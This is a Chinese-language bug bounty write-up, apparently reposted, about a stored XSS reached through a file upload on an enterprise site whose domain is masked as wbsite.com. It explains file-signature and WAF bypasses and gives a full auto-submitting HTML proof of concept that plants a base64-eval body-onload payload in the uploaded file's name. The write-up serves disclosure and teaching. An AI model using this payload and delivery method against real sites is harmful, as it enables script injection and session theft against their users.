文件上传导致的xss漏洞


0x01

说一下在某企业src测试中由文件上传导致的xss漏洞,写poc时花了不少时间。我在网上查了一下,像这种利用的漏洞很少遇到,便在此记录一下。因为该漏洞暂未修复,所以在下文中把域名用wbsite.com代替。

0x02

在测试该站点上传文件功能时,除了检查文件扩展名,文件类型是否有漏洞外,我还注意到它的响应Content-Type类型是html,因为一般这种类型的请求响应是json的。
我开始尝试是否可以实现xss,深入研究发现:

1.后端会校验文件签名,这个可以绕过,比如png的十六进制签名头是:89 50 4E 47 0D 0A 1A 0A,JPG为: FF D8 FF E0 00 10 ,gif为可见的签名头:GIF89a。

2.在文件上传时,后端过滤了",WAF拦截了alert,img标签等。
经测试可以在body标签,base64编码alert()并由eval执行任意JavaScript代码。
如下payload便可以实现xss:<body onload='eval(atob('YWxlcnQoMTIzKQ=='))'>

3.无法用js实现,因为同源策略会被浏览器拦截,所以只能以input 表单的形式来实现。

0x03

1.我开始用文件名与form-data拼接欺骗后端来绕过。
像这样:
var filename = "file'; filename='file.png";
在body中:

Content-Disposition: form-data; name="file'; filename='file.png";
Content-Type: image/png

这种方法实际行不通,网站会报错。
2.之后我在js文档中搜索到可以用File() 构造器创建File对象实例,然后传递给input标签。
new File(bits, name[, options]);
File()主要有两个参数,bits可以是二进制对象,字符串,或者这些对象的组合,name则是文件名。然后再由DataTransfer()生成新的文件对象。最后赋值给inpu标签的file属性。
最终poc如下,页面filename上的 payload 会自动上传。

<!DOCTYPE html>
<html>
<head>
    <title>test</title>
    <meta charset="utf-8">
</head>
<body>
<form name="xss" action="https://wbsite.com/file/upload" enctype="multipart/form-data" method="POST">
    <input id='xss'>
    <input type="text" name="sign" value="sign">
</form>
<script type="text/javascript">
var name = "<body onload=eval(atob('YWxlcnQoMTIzKQ=='))>";
let file1 = new File(['GIF87a','\n ','\n a'], name); //换行用 \n
const data = new DataTransfer()
data.items.add(file1)

document.getElementById('xss').type='file';
document.getElementById('xss').name='file';
document.getElementById('xss').multiple =true;
document.getElementById('xss').files=data.files;
document.xss.submit();
</script>
</body>
</html>

0x04

参考链接:
https://medium.com/@win3zz/simple-story-of-some-complicated-xss-on-facebook-8a9c0d80969d
https://developer.mozilla.org/zh-CN/docs/Web/API/File/File
https://developer.mozilla.org/zh-CN/docs/Web/API/DataTransfer


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM